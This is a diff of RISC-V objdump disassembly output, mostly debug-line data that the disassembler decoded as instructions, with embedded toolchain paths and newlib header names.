+    261e:	0100                	addi	s0,sp,128
+    2620:	0705                	addi	a4,a4,1
+    2622:	04090403          	lb	s0,64(s2)
+    2626:	0100                	addi	s0,sp,128
+    2628:	1b05                	addi	s6,s6,-31
+    262a:	02090203          	lb	tp,32(s2)
+    262e:	0100                	addi	s0,sp,128
+    2630:	1605                	addi	a2,a2,-31
+    2632:	0200                	addi	s0,sp,256
+    2634:	0104                	addi	s1,sp,128
+    2636:	0306                	slli	t1,t1,0x1
+    2638:	0978                	addi	a4,sp,156
+    263a:	0002                	c.slli64	zero
+    263c:	0501                	addi	a0,a0,0
+    263e:	04020003          	lb	zero,64(tp) # 1a040 <__stack_size+0x19840>
+    2642:	0601                	addi	a2,a2,0
+    2644:	00090003          	lb	zero,0(s2)
+    2648:	0100                	addi	s0,sp,128
+    264a:	0105                	addi	sp,sp,1
+    264c:	04091103          	lh	sp,64(s2)
+    2650:	0100                	addi	s0,sp,128
+    2652:	2f05                	jal	2d82 <__stack_size+0x2582>
+    2654:	0200                	addi	s0,sp,256
+    2656:	0104                	addi	s1,sp,128
+    2658:	0306                	slli	t1,t1,0x1
+    265a:	0971                	addi	s2,s2,28
+    265c:	000c                	0xc
+    265e:	0501                	addi	a0,a0,0
+    2660:	000a                	c.slli	zero,0x2
+    2662:	0402                	c.slli64	s0
+    2664:	0301                	addi	t1,t1,0
+    2666:	0900                	addi	s0,sp,144
+    2668:	0000                	unimp
+    266a:	0501                	addi	a0,a0,0
+    266c:	0402000b          	0x402000b
+    2670:	0601                	addi	a2,a2,0
+    2672:	00090003          	lb	zero,0(s2)
     2676:	0100                	addi	s0,sp,128
-    2678:	0d05                	addi	s10,s10,1
-    267a:	02090003          	lb	zero,32(s2)
-    267e:	0100                	addi	s0,sp,128
-    2680:	1c05                	addi	s8,s8,-31
-    2682:	04090003          	lb	zero,64(s2)
-    2686:	0100                	addi	s0,sp,128
-    2688:	0405                	addi	s0,s0,1
-    268a:	04090003          	lb	zero,64(s2)
-    268e:	0100                	addi	s0,sp,128
-    2690:	0306                	slli	t1,t1,0x1
-    2692:	0901                	addi	s2,s2,0
-    2694:	000e                	c.slli	zero,0x3
-    2696:	0901                	addi	s2,s2,0
-    2698:	000c                	0xc
-    269a:	0100                	addi	s0,sp,128
-    269c:	0501                	addi	a0,a0,0
-    269e:	0011                	c.nop	4
-    26a0:	0205                	addi	tp,tp,1
-    26a2:	189c                	addi	a5,sp,112
-    26a4:	2040                	fld	fs0,128(s0)
-    26a6:	0104c903          	lbu	s2,16(s1)
-    26aa:	0205                	addi	tp,tp,1
-    26ac:	00090603          	lb	a2,0(s2)
-    26b0:	0100                	addi	s0,sp,128
-    26b2:	00090003          	lb	zero,0(s2)
-    26b6:	0100                	addi	s0,sp,128
-    26b8:	1105                	addi	sp,sp,-31
-    26ba:	0306                	slli	t1,t1,0x1
-    26bc:	097a                	slli	s2,s2,0x1e
-    26be:	0000                	unimp
-    26c0:	0501                	addi	a0,a0,0
-    26c2:	0302                	c.slli64	t1
-    26c4:	0906                	slli	s2,s2,0x1
-    26c6:	0008                	0x8
-    26c8:	0601                	addi	a2,a2,0
-    26ca:	0c090103          	lb	sp,192(s2)
-    26ce:	0100                	addi	s0,sp,128
+    2678:	0a05                	addi	s4,s4,1
+    267a:	0200                	addi	s0,sp,256
+    267c:	0104                	addi	s1,sp,128
+    267e:	02090003          	lb	zero,32(s2)
+    2682:	0100                	addi	s0,sp,128
+    2684:	0405                	addi	s0,s0,1
+    2686:	0306                	slli	t1,t1,0x1
+    2688:	0902                	c.slli64	s2
+    268a:	0004                	0x4
+    268c:	0501                	addi	a0,a0,0
+    268e:	0620                	addi	s0,sp,776
+    2690:	00090003          	lb	zero,0(s2)
+    2694:	0100                	addi	s0,sp,128
+    2696:	1a05                	addi	s4,s4,-31
+    2698:	04090003          	lb	zero,64(s2)
+    269c:	0100                	addi	s0,sp,128
+    269e:	0405                	addi	s0,s0,1
+    26a0:	0306                	slli	t1,t1,0x1
+    26a2:	0902                	c.slli64	s2
+    26a4:	0002                	c.slli64	zero
+    26a6:	0501                	addi	a0,a0,0
+    26a8:	00030607          	0x30607
+    26ac:	0009                	c.nop	2
+    26ae:	0100                	addi	s0,sp,128
+    26b0:	3005                	jal	1ed0 <__stack_size+0x16d0>
+    26b2:	0200                	addi	s0,sp,256
+    26b4:	0104                	addi	s1,sp,128
+    26b6:	0306                	slli	t1,t1,0x1
+    26b8:	0901                	addi	s2,s2,0
+    26ba:	0008                	0x8
+    26bc:	0501                	addi	a0,a0,0
+    26be:	0402000b          	0x402000b
+    26c2:	0301                	addi	t1,t1,0
+    26c4:	0900                	addi	s0,sp,144
+    26c6:	0000                	unimp
+    26c8:	0501                	addi	a0,a0,0
+    26ca:	000c                	0xc
+    26cc:	0402                	c.slli64	s0
+    26ce:	0601                	addi	a2,a2,0
     26d0:	00090003          	lb	zero,0(s2)
     26d4:	0100                	addi	s0,sp,128
-    26d6:	00090003          	lb	zero,0(s2)
-    26da:	0100                	addi	s0,sp,128
-    26dc:	00090003          	lb	zero,0(s2)
+    26d6:	0b05                	addi	s6,s6,1
+    26d8:	0200                	addi	s0,sp,256
+    26da:	0104                	addi	s1,sp,128
+    26dc:	02090003          	lb	zero,32(s2)
     26e0:	0100                	addi	s0,sp,128
-    26e2:	0a090003          	lb	zero,160(s2)
-    26e6:	0100                	addi	s0,sp,128
-    26e8:	0505                	addi	a0,a0,1
-    26ea:	00090103          	lb	sp,0(s2)
-    26ee:	0100                	addi	s0,sp,128
-    26f0:	00090003          	lb	zero,0(s2)
-    26f4:	0100                	addi	s0,sp,128
-    26f6:	00090003          	lb	zero,0(s2)
-    26fa:	0100                	addi	s0,sp,128
-    26fc:	00090003          	lb	zero,0(s2)
-    2700:	0100                	addi	s0,sp,128
-    2702:	04090003          	lb	zero,64(s2)
-    2706:	0100                	addi	s0,sp,128
-    2708:	0205                	addi	tp,tp,1
-    270a:	00090303          	lb	t1,0(s2)
-    270e:	0100                	addi	s0,sp,128
-    2710:	5105                	li	sp,-31
-    2712:	0306                	slli	t1,t1,0x1
-    2714:	0900                	addi	s0,sp,144
-    2716:	0000                	unimp
-    2718:	0501                	addi	a0,a0,0
-    271a:	0602                	c.slli64	a2
-    271c:	08090103          	lb	sp,128(s2)
-    2720:	0100                	addi	s0,sp,128
-    2722:	1b05                	addi	s6,s6,-31
-    2724:	0306                	slli	t1,t1,0x1
-    2726:	0900                	addi	s0,sp,144
-    2728:	0000                	unimp
-    272a:	0501                	addi	a0,a0,0
-    272c:	0302                	c.slli64	t1
-    272e:	0902                	c.slli64	s2
-    2730:	0006                	c.slli	zero,0x1
-    2732:	0501                	addi	a0,a0,0
-    2734:	097e031b          	0x97e031b
-    2738:	0004                	0x4
-    273a:	0501                	addi	a0,a0,0
-    273c:	0602                	c.slli64	a2
-    273e:	06090203          	lb	tp,96(s2)
-    2742:	0100                	addi	s0,sp,128
-    2744:	0c090203          	lb	tp,192(s2)
-    2748:	0100                	addi	s0,sp,128
-    274a:	0c090203          	lb	tp,192(s2)
-    274e:	0100                	addi	s0,sp,128
-    2750:	0c090103          	lb	sp,192(s2)
-    2754:	0100                	addi	s0,sp,128
-    2756:	0c090103          	lb	sp,192(s2)
-    275a:	0100                	addi	s0,sp,128
-    275c:	0c090103          	lb	sp,192(s2)
-    2760:	0100                	addi	s0,sp,128
-    2762:	0c090103          	lb	sp,192(s2)
-    2766:	0100                	addi	s0,sp,128
-    2768:	0c090103          	lb	sp,192(s2)
-    276c:	0100                	addi	s0,sp,128
-    276e:	0c090103          	lb	sp,192(s2)
-    2772:	0100                	addi	s0,sp,128
-    2774:	0c090103          	lb	sp,192(s2)
-    2778:	0100                	addi	s0,sp,128
-    277a:	0c090103          	lb	sp,192(s2)
-    277e:	0100                	addi	s0,sp,128
-    2780:	0c090103          	lb	sp,192(s2)
-    2784:	0100                	addi	s0,sp,128
-    2786:	0505                	addi	a0,a0,1
-    2788:	0c090203          	lb	tp,192(s2)
-    278c:	0100                	addi	s0,sp,128
-    278e:	0205                	addi	tp,tp,1
-    2790:	02090203          	lb	tp,32(s2)
-    2794:	0100                	addi	s0,sp,128
-    2796:	0405                	addi	s0,s0,1
-    2798:	0306                	slli	t1,t1,0x1
-    279a:	0906                	slli	s2,s2,0x1
-    279c:	0010                	0x10
-    279e:	0501                	addi	a0,a0,0
-    27a0:	030c                	addi	a1,sp,384
-    27a2:	0906                	slli	s2,s2,0x1
-    27a4:	0008                	0x8
-    27a6:	0501                	addi	a0,a0,0
-    27a8:	0605                	addi	a2,a2,1
-    27aa:	04097603          	0x4097603
-    27ae:	0100                	addi	s0,sp,128
-    27b0:	0305                	addi	t1,t1,1
-    27b2:	00090203          	lb	tp,0(s2)
-    27b6:	0100                	addi	s0,sp,128
-    27b8:	0705                	addi	a4,a4,1
-    27ba:	0306                	slli	t1,t1,0x1
-    27bc:	0900                	addi	s0,sp,144
-    27be:	0000                	unimp
-    27c0:	0501                	addi	a0,a0,0
-    27c2:	0306                	slli	t1,t1,0x1
-    27c4:	0900                	addi	s0,sp,144
-    27c6:	0004                	0x4
-    27c8:	0501                	addi	a0,a0,0
-    27ca:	0604                	addi	s1,sp,768
-    27cc:	02090103          	lb	sp,32(s2)
-    27d0:	0100                	addi	s0,sp,128
-    27d2:	04090103          	lb	sp,64(s2)
-    27d6:	0100                	addi	s0,sp,128
-    27d8:	0a090103          	lb	sp,160(s2)
-    27dc:	0100                	addi	s0,sp,128
-    27de:	1005                	c.nop	-31
-    27e0:	0306                	slli	t1,t1,0x1
-    27e2:	0900                	addi	s0,sp,144
-    27e4:	0000                	unimp
-    27e6:	0501                	addi	a0,a0,0
-    27e8:	03030603          	lb	a2,48(t1)
-    27ec:	0409                	addi	s0,s0,2
-    27ee:	0100                	addi	s0,sp,128
-    27f0:	04090203          	lb	tp,64(s2)
-    27f4:	0100                	addi	s0,sp,128
-    27f6:	0c05                	addi	s8,s8,1
-    27f8:	0306                	slli	t1,t1,0x1
-    27fa:	0900                	addi	s0,sp,144
-    27fc:	0000                	unimp
-    27fe:	0501                	addi	a0,a0,0
-    2800:	0305                	addi	t1,t1,1
-    2802:	0900                	addi	s0,sp,144
-    2804:	0002                	c.slli64	zero
-    2806:	0501                	addi	a0,a0,0
-    2808:	0604                	addi	s1,sp,768
-    280a:	02090103          	lb	sp,32(s2)
-    280e:	0100                	addi	s0,sp,128
-    2810:	0809                	addi	a6,a6,2
-    2812:	0000                	unimp
-    2814:	0101                	addi	sp,sp,0
-    2816:	0000071b          	0x71b
-    281a:	03630003          	lb	zero,54(t1)
-    281e:	0000                	unimp
-    2820:	0101                	addi	sp,sp,0
-    2822:	000d0efb          	0xd0efb
-    2826:	0101                	addi	sp,sp,0
-    2828:	0101                	addi	sp,sp,0
-    282a:	0000                	unimp
-    282c:	0100                	addi	s0,sp,128
-    282e:	0000                	unimp
-    2830:	2e01                	jal	2b40 <__stack_size+0x2340>
-    2832:	2f2e                	fld	ft10,200(sp)
-    2834:	7362                	flw	ft6,56(sp)
-    2836:	2f70                	fld	fa2,216(a4)
-    2838:	3358                	fld	fa4,160(a4)
-    283a:	3030                	fld	fa2,96(s0)
-    283c:	77656e2f          	0x77656e2f
-    2840:	696c                	flw	fa1,84(a0)
-    2842:	0062                	c.slli	zero,0x18
-    2844:	6d6f682f          	0x6d6f682f
-    2848:	2f65                	jal	3000 <__stack_size+0x2800>
-    284a:	6972                	flw	fs2,28(sp)
-    284c:	2f766373          	csrrsi	t1,0x2f7,12
-    2850:	6f74                	flw	fa3,92(a4)
-    2852:	2f736c6f          	jal	s8,39348 <__stack_size+0x38b48>
-    2856:	6972                	flw	fs2,28(sp)
-    2858:	2d766373          	csrrsi	t1,0x2d7,12
-    285c:	2d756e67          	0x2d756e67
-    2860:	6f74                	flw	fa3,92(a4)
-    2862:	68636c6f          	jal	s8,38ee8 <__stack_size+0x386e8>
-    2866:	6961                	lui	s2,0x18
-    2868:	2d6e                	fld	fs10,216(sp)
-    286a:	6568                	flw	fa0,76(a0)
-    286c:	6678                	flw	fa4,76(a2)
-    286e:	7669                	lui	a2,0xffffa
-    2870:	2f65                	jal	3028 <__stack_size+0x2828>
-    2872:	696c                	flw	fa1,84(a0)
-    2874:	2f62                	fld	ft10,24(sp)
-    2876:	2f636367          	0x2f636367
-    287a:	6972                	flw	fs2,28(sp)
-    287c:	36766373          	csrrsi	t1,0x367,12
-    2880:	2d34                	fld	fa3,88(a0)
-    2882:	6e75                	lui	t3,0x1d
-    2884:	776f6e6b          	0x776f6e6b
-    2888:	2d6e                	fld	fs10,216(sp)
-    288a:	6c65                	lui	s8,0x19
-    288c:	2f66                	fld	ft10,88(sp)
-    288e:	3031                	jal	209a <__stack_size+0x189a>
-    2890:	312e                	fld	ft2,232(sp)
-    2892:	302e                	fld	ft0,232(sp)
-    2894:	636e692f          	0x636e692f
-    2898:	756c                	flw	fa1,108(a0)
-    289a:	6564                	flw	fs1,76(a0)
-    289c:	2f00                	fld	fs0,24(a4)
-    289e:	6f68                	flw	fa0,92(a4)
-    28a0:	656d                	lui	a0,0x1b
-    28a2:	7369722f          	0x7369722f
-    28a6:	742f7663          	bgeu	t5,sp,2ff2 <__stack_size+0x27f2>
-    28aa:	736c6f6f          	jal	t5,c8fe0 <__stack_size+0xc87e0>
-    28ae:	7369722f          	0x7369722f
-    28b2:	672d7663          	bgeu	s10,s2,2f1e <__stack_size+0x271e>
-    28b6:	756e                	flw	fa0,248(sp)
-    28b8:	742d                	lui	s0,0xfffeb
-    28ba:	636c6f6f          	jal	t5,c8ef0 <__stack_size+0xc86f0>
-    28be:	6168                	flw	fa0,68(a0)
-    28c0:	6e69                	lui	t3,0x1a
-    28c2:	682d                	lui	a6,0xb
-    28c4:	7865                	lui	a6,0xffff9
-    28c6:	6966                	flw	fs2,88(sp)
-    28c8:	6576                	flw	fa0,92(sp)
-    28ca:	7369722f          	0x7369722f
-    28ce:	34367663          	bgeu	a2,gp,2c1a <__stack_size+0x241a>
-    28d2:	752d                	lui	a0,0xfffeb
-    28d4:	6b6e                	flw	fs6,216(sp)
-    28d6:	6f6e                	flw	ft10,216(sp)
-    28d8:	652d6e77          	0x652d6e77
-    28dc:	666c                	flw	fa1,76(a2)
-    28de:	636e692f          	0x636e692f
-    28e2:	756c                	flw	fa1,108(a0)
-    28e4:	6564                	flw	fs1,76(a0)
-    28e6:	63616d2f          	0x63616d2f
-    28ea:	6968                	flw	fa0,84(a0)
-    28ec:	656e                	flw	fa0,216(sp)
-    28ee:	2f00                	fld	fs0,24(a4)
-    28f0:	6f68                	flw	fa0,92(a4)
-    28f2:	656d                	lui	a0,0x1b
-    28f4:	7369722f          	0x7369722f
-    28f8:	742f7663          	bgeu	t5,sp,3044 <__stack_size+0x2844>
-    28fc:	736c6f6f          	jal	t5,c9032 <__stack_size+0xc8832>
-    2900:	7369722f          	0x7369722f
-    2904:	672d7663          	bgeu	s10,s2,2f70 <__stack_size+0x2770>
-    2908:	756e                	flw	fa0,248(sp)
-    290a:	742d                	lui	s0,0xfffeb
-    290c:	636c6f6f          	jal	t5,c8f42 <__stack_size+0xc8742>
-    2910:	6168                	flw	fa0,68(a0)
-    2912:	6e69                	lui	t3,0x1a
-    2914:	682d                	lui	a6,0xb
-    2916:	7865                	lui	a6,0xffff9
-    2918:	6966                	flw	fs2,88(sp)
-    291a:	6576                	flw	fa0,92(sp)
-    291c:	7369722f          	0x7369722f
-    2920:	34367663          	bgeu	a2,gp,2c6c <__stack_size+0x246c>
-    2924:	752d                	lui	a0,0xfffeb
-    2926:	6b6e                	flw	fs6,216(sp)
-    2928:	6f6e                	flw	ft10,216(sp)
-    292a:	652d6e77          	0x652d6e77
-    292e:	666c                	flw	fa1,76(a2)
-    2930:	636e692f          	0x636e692f
-    2934:	756c                	flw	fa1,108(a0)
-    2936:	6564                	flw	fs1,76(a0)
-    2938:	7379732f          	0x7379732f
-    293c:	2f00                	fld	fs0,24(a4)
-    293e:	6f68                	flw	fa0,92(a4)
-    2940:	656d                	lui	a0,0x1b
-    2942:	7369722f          	0x7369722f
-    2946:	742f7663          	bgeu	t5,sp,3092 <__stack_size+0x2892>
-    294a:	736c6f6f          	jal	t5,c9080 <__stack_size+0xc8880>
-    294e:	7369722f          	0x7369722f
-    2952:	672d7663          	bgeu	s10,s2,2fbe <__stack_size+0x27be>
-    2956:	756e                	flw	fa0,248(sp)
-    2958:	742d                	lui	s0,0xfffeb
-    295a:	636c6f6f          	jal	t5,c8f90 <__stack_size+0xc8790>
-    295e:	6168                	flw	fa0,68(a0)
-    2960:	6e69                	lui	t3,0x1a
-    2962:	682d                	lui	a6,0xb
-    2964:	7865                	lui	a6,0xffff9
-    2966:	6966                	flw	fs2,88(sp)
-    2968:	6576                	flw	fa0,92(sp)
-    296a:	7369722f          	0x7369722f
-    296e:	34367663          	bgeu	a2,gp,2cba <__stack_size+0x24ba>
-    2972:	752d                	lui	a0,0xfffeb
-    2974:	6b6e                	flw	fs6,216(sp)
-    2976:	6f6e                	flw	ft10,216(sp)
-    2978:	652d6e77          	0x652d6e77
-    297c:	666c                	flw	fa1,76(a2)
-    297e:	636e692f          	0x636e692f
-    2982:	756c                	flw	fa1,108(a0)
-    2984:	6564                	flw	fs1,76(a0)
-    2986:	2e00                	fld	fs0,24(a2)
-    2988:	2f2e                	fld	ft10,200(sp)
-    298a:	7362                	flw	ft6,56(sp)
-    298c:	2f70                	fld	fa2,216(a4)
-    298e:	3358                	fld	fa4,160(a4)
-    2990:	3030                	fld	fa2,96(s0)
-    2992:	0000                	unimp
-    2994:	656e                	flw	fa0,216(sp)
-    2996:	62696c77          	0x62696c77
-    299a:	632e                	flw	ft6,200(sp)
-    299c:	0100                	addi	s0,sp,128
-    299e:	0000                	unimp
-    29a0:	64647473          	csrrci	s0,0x646,8
-    29a4:	6665                	lui	a2,0x19
-    29a6:	682e                	flw	fa6,200(sp)
-    29a8:	0200                	addi	s0,sp,256
-    29aa:	0000                	unimp
-    29ac:	645f 6665 7561      	0x75616665645f
-    29b2:	746c                	flw	fa1,108(s0)
-    29b4:	745f 7079 7365      	0x73657079745f
-    29ba:	682e                	flw	fa6,200(sp)
-    29bc:	0300                	addi	s0,sp,384
-    29be:	0000                	unimp
-    29c0:	745f 7079 7365      	0x73657079745f
-    29c6:	682e                	flw	fa6,200(sp)
-    29c8:	0400                	addi	s0,sp,512
-    29ca:	0000                	unimp
-    29cc:	735f 6474 6e69      	0x6e696474735f
-    29d2:	2e74                	fld	fa3,216(a2)
-    29d4:	0068                	addi	a0,sp,12
-    29d6:	0004                	0x4
-    29d8:	5f00                	lw	s0,56(a4)
-    29da:	6974                	flw	fa3,84(a0)
-    29dc:	656d                	lui	a0,0x1b
-    29de:	6176                	flw	ft2,92(sp)
-    29e0:	2e6c                	fld	fa1,216(a2)
-    29e2:	0068                	addi	a0,sp,12
-    29e4:	0004                	0x4
-    29e6:	5f00                	lw	s0,56(a4)
-    29e8:	6974                	flw	fa3,84(a0)
-    29ea:	656d                	lui	a0,0x1b
-    29ec:	63657073          	csrci	0x636,10
-    29f0:	682e                	flw	fa6,200(sp)
-    29f2:	0400                	addi	s0,sp,512
-    29f4:	0000                	unimp
-    29f6:	7974                	flw	fa3,116(a0)
-    29f8:	6570                	flw	fa2,76(a0)
-    29fa:	00682e73          	csrrs	t3,0x6,a6
-    29fe:	0004                	0x4
-    2a00:	7300                	flw	fs0,32(a4)
-    2a02:	6174                	flw	fa3,68(a0)
-    2a04:	2e74                	fld	fa3,216(a2)
-    2a06:	0068                	addi	a0,sp,12
-    2a08:	0004                	0x4
-    2a0a:	7500                	flw	fs0,40(a0)
-    2a0c:	696e                	flw	fs2,216(sp)
-    2a0e:	2e647473          	csrrci	s0,0x2e6,8
-    2a12:	0068                	addi	a0,sp,12
-    2a14:	0004                	0x4
-    2a16:	7300                	flw	fs0,32(a4)
-    2a18:	7274                	flw	fa3,100(a2)
-    2a1a:	6e69                	lui	t3,0x1a
-    2a1c:	00682e67          	0x682e67
-    2a20:	0005                	c.nop	1
-    2a22:	7300                	flw	fs0,32(a4)
-    2a24:	6474                	flw	fa3,76(s0)
-    2a26:	696c                	flw	fa1,84(a0)
-    2a28:	2e62                	fld	ft8,24(sp)
-    2a2a:	0068                	addi	a0,sp,12
-    2a2c:	0005                	c.nop	1
-    2a2e:	6900                	flw	fs0,16(a0)
-    2a30:	6565                	lui	a0,0x19
-    2a32:	6665                	lui	a2,0x19
-    2a34:	2e70                	fld	fa2,216(a2)
-    2a36:	0068                	addi	a0,sp,12
-    2a38:	5f000003          	lb	zero,1520(zero) # 5f0 <__stack_size-0x210>
-    2a3c:	6e61                	lui	t3,0x18
-    2a3e:	682e6973          	csrrsi	s2,0x682,28
-    2a42:	0500                	addi	s0,sp,640
-    2a44:	0000                	unimp
-    2a46:	656e                	flw	fa0,216(sp)
-    2a48:	62696c77          	0x62696c77
-    2a4c:	682e                	flw	fa6,200(sp)
-    2a4e:	0500                	addi	s0,sp,640
-    2a50:	0000                	unimp
-    2a52:	6e5f 7765 696c      	0x696c77656e5f
-    2a58:	5f62                	lw	t5,56(sp)
-    2a5a:	6576                	flw	fa0,92(sp)
-    2a5c:	7372                	flw	ft6,60(sp)
-    2a5e:	6f69                	lui	t5,0x1a
-    2a60:	2e6e                	fld	ft8,216(sp)
-    2a62:	0068                	addi	a0,sp,12
-    2a64:	0005                	c.nop	1
-    2a66:	6300                	flw	fs0,0(a4)
-    2a68:	69666e6f          	jal	t3,690fe <__stack_size+0x688fe>
-    2a6c:	00682e67          	0x682e67
-    2a70:	0004                	0x4
-    2a72:	6600                	flw	fs0,8(a2)
-    2a74:	6165                	addi	sp,sp,112
-    2a76:	7574                	flw	fa3,108(a0)
-    2a78:	6572                	flw	fa0,28(sp)
-    2a7a:	00682e73          	csrrs	t3,0x6,a6
-    2a7e:	0004                	0x4
-    2a80:	7200                	flw	fs0,32(a2)
-    2a82:	6565                	lui	a0,0x19
-    2a84:	746e                	flw	fs0,248(sp)
-    2a86:	682e                	flw	fa6,200(sp)
-    2a88:	0400                	addi	s0,sp,512
-    2a8a:	0000                	unimp
-    2a8c:	745f 7079 7365      	0x73657079745f
-    2a92:	682e                	flw	fa6,200(sp)
-    2a94:	0300                	addi	s0,sp,384
-    2a96:	0000                	unimp
-    2a98:	6f6c                	flw	fa1,92(a4)
-    2a9a:	682e6b63          	bltu	t3,sp,3130 <__stack_size+0x2930>
-    2a9e:	0400                	addi	s0,sp,512
-    2aa0:	0000                	unimp
-    2aa2:	66656463          	bltu	a0,t1,310a <__stack_size+0x290a>
-    2aa6:	00682e73          	csrrs	t3,0x6,a6
-    2aaa:	0004                	0x4
-    2aac:	7300                	flw	fs0,32(a4)
-    2aae:	6474                	flw	fa3,76(s0)
-    2ab0:	696c                	flw	fa1,84(a0)
-    2ab2:	2e62                	fld	ft8,24(sp)
-    2ab4:	0068                	addi	a0,sp,12
-    2ab6:	61000003          	lb	zero,1552(zero) # 610 <__stack_size-0x1f0>
-    2aba:	6c6c                	flw	fa1,92(s0)
-    2abc:	2e61636f          	jal	t1,18da2 <__stack_size+0x185a2>
-    2ac0:	0068                	addi	a0,sp,12
-    2ac2:	0005                	c.nop	1
-    2ac4:	7500                	flw	fs0,40(a0)
-    2ac6:	696e                	flw	fs2,216(sp)
-    2ac8:	2e647473          	csrrci	s0,0x2e6,8
-    2acc:	0068                	addi	a0,sp,12
-    2ace:	0005                	c.nop	1
-    2ad0:	6500                	flw	fs0,8(a0)
-    2ad2:	646e                	flw	fs0,216(sp)
-    2ad4:	6169                	addi	sp,sp,208
-    2ad6:	2e6e                	fld	ft8,216(sp)
-    2ad8:	0068                	addi	a0,sp,12
-    2ada:	5f000003          	lb	zero,1520(zero) # 5f0 <__stack_size-0x210>
-    2ade:	6e65                	lui	t3,0x19
-    2ae0:	6964                	flw	fs1,84(a0)
-    2ae2:	6e61                	lui	t3,0x18
-    2ae4:	682e                	flw	fa6,200(sp)
-    2ae6:	0300                	addi	s0,sp,384
-    2ae8:	0000                	unimp
-    2aea:	656c6573          	csrrsi	a0,0x656,24
-    2aee:	682e7463          	bgeu	t3,sp,3176 <__stack_size+0x2976>
-    2af2:	0400                	addi	s0,sp,512
-    2af4:	0000                	unimp
-    2af6:	735f 6769 6573      	0x65736769735f
-    2afc:	2e74                	fld	fa3,216(a2)
-    2afe:	0068                	addi	a0,sp,12
-    2b00:	0004                	0x4
-    2b02:	7400                	flw	fs0,40(s0)
-    2b04:	6d69                	lui	s10,0x1a
-    2b06:	7365                	lui	t1,0xffff9
-    2b08:	6570                	flw	fa2,76(a0)
-    2b0a:	00682e63          	0x682e63
-    2b0e:	0004                	0x4
-    2b10:	5f00                	lw	s0,56(a4)
-    2b12:	7470                	flw	fa2,108(s0)
-    2b14:	7268                	flw	fa0,100(a2)
-    2b16:	6165                	addi	sp,sp,112
-    2b18:	7464                	flw	fs1,108(s0)
-    2b1a:	7079                	c.lui	zero,0xffffe
-    2b1c:	7365                	lui	t1,0xffff9
-    2b1e:	682e                	flw	fa6,200(sp)
-    2b20:	0400                	addi	s0,sp,512
-    2b22:	0000                	unimp
-    2b24:	65686373          	csrrsi	t1,0x656,16
-    2b28:	2e64                	fld	fs1,216(a2)
-    2b2a:	0068                	addi	a0,sp,12
-    2b2c:	0004                	0x4
-    2b2e:	7400                	flw	fs0,40(s0)
-    2b30:	7079                	c.lui	zero,0xffffe
-    2b32:	7365                	lui	t1,0xffff9
-    2b34:	682e                	flw	fa6,200(sp)
-    2b36:	0300                	addi	s0,sp,384
-    2b38:	0000                	unimp
-    2b3a:	6c5f 636f 6c61      	0x6c61636f6c5f
-    2b40:	2e65                	jal	2ef8 <__stack_size+0x26f8>
-    2b42:	0068                	addi	a0,sp,12
-    2b44:	0004                	0x4
-    2b46:	7300                	flw	fs0,32(a4)
-    2b48:	7274                	flw	fa3,100(a2)
-    2b4a:	6e69                	lui	t3,0x1a
-    2b4c:	682e7367          	0x682e7367
-    2b50:	0500                	addi	s0,sp,640
-    2b52:	0000                	unimp
-    2b54:	69727473          	csrrci	s0,0x697,4
-    2b58:	676e                	flw	fa4,216(sp)
-    2b5a:	682e                	flw	fa6,200(sp)
-    2b5c:	0400                	addi	s0,sp,512
-    2b5e:	0000                	unimp
-    2b60:	6974                	flw	fa3,84(a0)
-    2b62:	656d                	lui	a0,0x1b
-    2b64:	682e                	flw	fa6,200(sp)
-    2b66:	0500                	addi	s0,sp,640
-    2b68:	0000                	unimp
-    2b6a:	6974                	flw	fa3,84(a0)
-    2b6c:	656d                	lui	a0,0x1b
-    2b6e:	682e                	flw	fa6,200(sp)
-    2b70:	0300                	addi	s0,sp,384
-    2b72:	0000                	unimp
-    2b74:	6c70                	flw	fa2,92(s0)
-    2b76:	7461                	lui	s0,0xffff8
-    2b78:	6f66                	flw	ft10,88(sp)
-    2b7a:	6d72                	flw	fs10,28(sp)
-    2b7c:	682e                	flw	fa6,200(sp)
-    2b7e:	0600                	addi	s0,sp,768
-    2b80:	0000                	unimp
-    2b82:	0500                	addi	s0,sp,640
-    2b84:	0016                	c.slli	zero,0x5
-    2b86:	0205                	addi	tp,tp,1
-    2b88:	2b1c                	fld	fa5,16(a4)
-    2b8a:	2040                	fld	fs0,128(s0)
-    2b8c:	05010a03          	lb	s4,80(sp)
-    2b90:	0302                	c.slli64	t1
-    2b92:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
-    2b96:	0501                	addi	a0,a0,0
-    2b98:	0601                	addi	a2,a2,0
-    2b9a:	00090103          	lb	sp,0(s2) # 18000 <__stack_size+0x17800>
-    2b9e:	0100                	addi	s0,sp,128
-    2ba0:	0409                	addi	s0,s0,2
-    2ba2:	0000                	unimp
-    2ba4:	0101                	addi	sp,sp,0
-    2ba6:	2705                	jal	32c6 <__stack_size+0x2ac6>
-    2ba8:	0500                	addi	s0,sp,640
-    2baa:	2002                	fld	ft0,0(sp)
-    2bac:	0320402b          	0x320402b
-    2bb0:	0111                	addi	sp,sp,4
-    2bb2:	0205                	addi	tp,tp,1
-    2bb4:	00090303          	lb	t1,0(s2)
-    2bb8:	0100                	addi	s0,sp,128
-    2bba:	0e05                	addi	t3,t3,1
-    2bbc:	0306                	slli	t1,t1,0x1
-    2bbe:	0900                	addi	s0,sp,144
-    2bc0:	0000                	unimp
-    2bc2:	0501                	addi	a0,a0,0
-    2bc4:	0602                	c.slli64	a2
-    2bc6:	04090103          	lb	sp,64(s2)
-    2bca:	0100                	addi	s0,sp,128
-    2bcc:	0105                	addi	sp,sp,1
-    2bce:	0306                	slli	t1,t1,0x1
-    2bd0:	0901                	addi	s2,s2,0
-    2bd2:	0000                	unimp
-    2bd4:	0901                	addi	s2,s2,0
-    2bd6:	0004                	0x4
-    2bd8:	0100                	addi	s0,sp,128
-    2bda:	0501                	addi	a0,a0,0
-    2bdc:	0018                	0x18
-    2bde:	0205                	addi	tp,tp,1
-    2be0:	2b28                	fld	fa0,80(a4)
-    2be2:	2040                	fld	fs0,128(s0)
-    2be4:	05011903          	lh	s2,80(sp)
-    2be8:	0302                	c.slli64	t1
-    2bea:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
-    2bee:	0301                	addi	t1,t1,0
-    2bf0:	0901                	addi	s2,s2,0
-    2bf2:	0000                	unimp
-    2bf4:	0301                	addi	t1,t1,0
-    2bf6:	0901                	addi	s2,s2,0
-    2bf8:	0000                	unimp
-    2bfa:	0301                	addi	t1,t1,0
-    2bfc:	0902                	c.slli64	s2
-    2bfe:	0000                	unimp
-    2c00:	0501                	addi	a0,a0,0
-    2c02:	0611                	addi	a2,a2,4
-    2c04:	00090003          	lb	zero,0(s2)
